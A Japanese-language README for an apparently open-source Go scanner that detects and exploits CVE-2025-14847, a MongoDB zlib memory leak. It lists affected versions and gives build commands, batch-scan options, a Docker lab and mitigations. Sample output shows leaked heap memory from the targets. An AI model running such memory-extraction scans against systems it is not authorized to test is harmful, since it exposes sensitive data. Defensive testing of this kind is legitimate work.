
MongoDB メモリリーク脆弱性 (CVE-2025-14847) 検出ツール
MongoDB メモリリーク脆弱性 (CVE-2025-14847) 検出ツール
⚠️ 重要な注意:このツールは認可されたセキュリティテストおよび脆弱性評価のみを目的としています。無断使用は法律違反となる可能性があります。
CVE-2025-14847 は、MongoDB の Zlib 圧縮プロトコル処理における深刻なメモリリーク脆弱性です。攻撃者は悪意を持って構築された圧縮データパケットを送信することで、MongoDB に未初期化のヒープメモリデータを返させ、機密情報が含まれる可能性があります。
| バージョン範囲 | ステータス |
|---|---|
| 8.2.0 - 8.2.2 | ⚠️ 影響あり |
| 8.0.0 - 8.0.16 | ⚠️ 影響あり |
| 7.0.0 - 7.0.27 | ⚠️ 影響あり |
| 6.0.0 - 6.0.26 | ⚠️ 影響あり |
| 5.0.0 - 5.0.31 | ⚠️ 影響あり |
| 4.4.0 - 4.4.29 | ⚠️ 影響あり |
| 4.2.x 全バージョン | ⚠️ 影響あり |
| 4.0.x 全バージョン | ⚠️ 影響あり |
| 3.6.x 全バージョン | ⚠️ 影響あり |
# リポジトリをクローン
git clone https://github.com/onewinner/CVE-2025-14847.git
cd CVE-2025-14847
# 依存関係をインストール
go mod download
# ビルド
go build -o mongodb-scanner main.go
# 実行
./mongodb-scanner -t 127.0.0.1:27017
go run main.go -t 127.0.0.1:27017
Releases ページから、お使いのシステムに適したプリコンパイル済みバージョンをダウンロードしてください。
# 単一ターゲットをスキャン
./mongodb-scanner -t 127.0.0.1:27017
# ファイルからバッチスキャン
./mongodb-scanner -f targets.txt
# バッチスキャン(20スレッド)
./mongodb-scanner -f targets.txt -c 20
# スキャンして脆弱性のあるターゲットを保存
./mongodb-scanner -f targets.txt -o vulnerable.txt
# オフセット範囲をカスタマイズ(より高速またはより深いスキャン)
./mongodb-scanner -t 127.0.0.1:27017 --min-offset 20 --max-offset 1000
targets.txt ファイルを作成します:
# MongoDB ターゲットリスト
127.0.0.1:27017
192.168.1.100:27017
mongodb.example.com:27017
# ポートを指定しない場合、デフォルトで 27017 を使用
192.168.1.101
このツールを安全にテストするために、Docker でローカルテスト環境を構築することをお勧めします。
# MongoDB 6.0.14 (脆弱性の影響を受けるバージョン) を起動し、Zlib 圧縮を有効化
docker run -d \
--name mongodb-vulnerable \
-p 27017:27017 \
mongo:6.0.14 \
--networkMessageCompressors snappy,zlib
# コンテナの状態を確認
docker ps
# 脆弱性をテスト
./mongodb-scanner -t 127.0.0.1:27017
docker-compose.yml ファイルを作成します:
version: '3.8'
services:
# 脆弱性の影響を受けるバージョン(Zlib 有効)
mongodb-vulnerable:
image: mongo:6.0.14
container_name: mongodb-vulnerable
ports:
- "27017:27017"
command: mongod --networkMessageCompressors snappy,zlib
# 修正済みのバージョン(比較テスト用)
mongodb-patched:
image: mongo:6.0.27
container_name: mongodb-patched
ports:
- "27018:27017"
command: mongod --networkMessageCompressors snappy,zlib
volumes:
mongodb-data:
mongodb-patched-data:
テスト環境を起動します:
# すべてのコンテナを起動
docker-compose up -d
# 脆弱性の影響を受けるバージョンをテスト
./mongodb-scanner -t 127.0.0.1:27017
# 修正済みのバージョンをテスト
./mongodb-scanner -t 127.0.0.1:27018
# 停止してクリーンアップ
docker-compose down -v
# コンテナを停止して削除
docker stop mongodb-vulnerable && docker rm mongodb-vulnerable
# データボリュームをクリーンアップ
docker volume prune -f
ツールは統一されたプレフィックスを使用して出力情報をマークします:
[*] - 情報出力(ターゲット、バージョン、設定など)[+] - 成功/脆弱性あり/データ抽出[-] - 失敗/安全/脆弱性なし[!] - 警告/重要な注意╔══════════════════════════════════════════════════════════════╗
║ MongoDB CVE-2025-14847 脆弱性検出ツール ║
╚══════════════════════════════════════════════════════════════╝
⚠️ 認可されたセキュリティテストのみ | 無断テストは違法となる可能性があります
[*] ターゲット: 1 | スレッド: 10 | タイムアウト: 2s | オフセット: 20-1000
[*] スキャン開始...
[*] ターゲット: 127.0.0.1:27017
[*] バージョン: 6.0.14
[+] 脆弱性バージョン: はい
[+] Zlib圧縮: 有効
[!] 脆弱性を利用可能、メモリの抽出を開始...
[+] オフセット=229 長さ=250: :00\"},\"s\":\"I\", \"c\":\"NETWORK\", \"id\":22944, \"ctx\":\"conn102932\",
[+] 127.0.0.1:27017 - 脆弱性を利用可能 (v6.0.14) - 3468ms
[+] 1件のメモリデータを正常に抽出:
[1] :00\"},\"s\":\"I\", \"c\":\"NETWORK\", \"id\":22944, \"ctx\":\"conn102932\",\"msg\":\"Connection ended\",\"attr\":{\"remote\":\"172.17.0.1:44936\"...
======================================================================
[*] スキャン完了 | 合計: 1 | 利用可能: 1 | 安全: 0 | 所要時間: 3.4s
======================================================================
[*] ターゲット: 127.0.0.1:27018
[*] バージョン: 6.0.27
[-] 脆弱性バージョン: いいえ
[-] 127.0.0.1:27018 - バージョン安全 (v6.0.27) - 156ms
======================================================================
[*] スキャン完了 | 合計: 1 | 利用可能: 0 | 安全: 1 | 所要時間: 0.2s
======================================================================
[*] ターゲット: 127.0.0.1:27017
[*] バージョン: 6.0.14
[+] 脆弱性バージョン: はい
[-] Zlib圧縮: 未有効
[-] 127.0.0.1:27017 - Zlib未有効 (v6.0.14) - 234ms
======================================================================
[*] スキャン完了 | 合計: 1 | 利用可能: 0 | 安全: 1 | 所要時間: 0.3s
======================================================================
[*] ターゲット: 5 | スレッド: 10 | タイムアウト: 2s | オフセット: 20-8192
[*] スキャン開始...
[+] 192.168.1.10:27017 - 脆弱性を利用可能 (v6.0.14) - 3521ms
[+] 2件のメモリデータを正常に抽出:
[1] Connection ended...
[2] network statistics...
[-] 192.168.1.11:27017 - バージョン安全 (v6.0.27) - 145ms
[-] 192.168.1.12:27017 - Zlib未有効 (v6.0.14) - 198ms
[+] 192.168.1.13:27017 - 脆弱性を利用可能 (v7.0.15) - 2987ms
[!] 192.168.1.14:27017 - 脆弱性を利用可能だがデータを抽出できず (v6.0.20) - 4123ms
======================================================================
[*] スキャン完了 | 合計: 5 | 利用可能: 3 | 安全: 2 | 所要時間: 5.2s
======================================================================
[+] 利用可能なターゲットを vulnerable.txt に保存しました
本ツールは3段階の検出メカニズムを採用しています:
buildInfo コマンド)| 条件 | 結果 |
|---|---|
| 脆弱性バージョン + Zlib有効 + データ抽出あり | ✅ 脆弱性を利用可能 - リークデータを表示 |
| 脆弱性バージョン + Zlib有効 + データ抽出なし | ⚠️ 脆弱性を利用可能だがデータを抽出できず |
| 脆弱性バージョン + Zlib未有効 | ❌ Zlib未有効 - 利用不可 |
| 非脆弱性バージョン | ✅ バージョン安全 |
以下の修正版のいずれかに直ちにアップグレードしてください:
短期的にアップグレードできない場合は、以下の一時的な対策を講じることができます:
mongod.conf または mongos.conf で設定します:
net:
compression:
compressors: []
または起動パラメータで明示的に zlib を除外します:
mongod --networkMessageCompressors snappy,zstd
zlib の代わりに snappy または zstd を使用することを推奨します:
net:
compression:
compressors: snappy,zstd
bindIp 設定を使用--auth パラメータ)⚠️ 重要な注意: 一時的な緩和策はリスクを軽減するだけで、根本的な解決策ではありません。修正済みバージョンにできるだけ早くアップグレードすることを強くお勧めします。
重要な注意:
本ツールを使用すると、以下に同意したものとみなされます:
本プロジェクトは MIT License オープンソースライセンスを採用しています。
Issue および Pull Request をお待ちしています!
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)onewinner - @onewinner
プロジェクトURL: https://github.com/onewinner/CVE-2025-14847
⭐ このプロジェクトがお役に立ったなら、Star をお願いします!
Made with ❤️ by Security Researchers
| パラメータ | 説明 | デフォルト値 |
|---|
-t <target> | 単一ターゲット (例: 127.0.0.1:27017) | - |
-f <file> | ターゲットファイル (各行に1ターゲット) | - |
-c <num> | 並行スレッド数 | 10 |
-timeout <time> | 接続タイムアウト時間 | 2s |
-o <file> | 出力ファイル (脆弱性のあるターゲットを保存) | - |
--min-offset <num> | 最小ドキュメント長オフセット | 20 |
--max-offset <num> | 最大ドキュメント長オフセット | 8192 |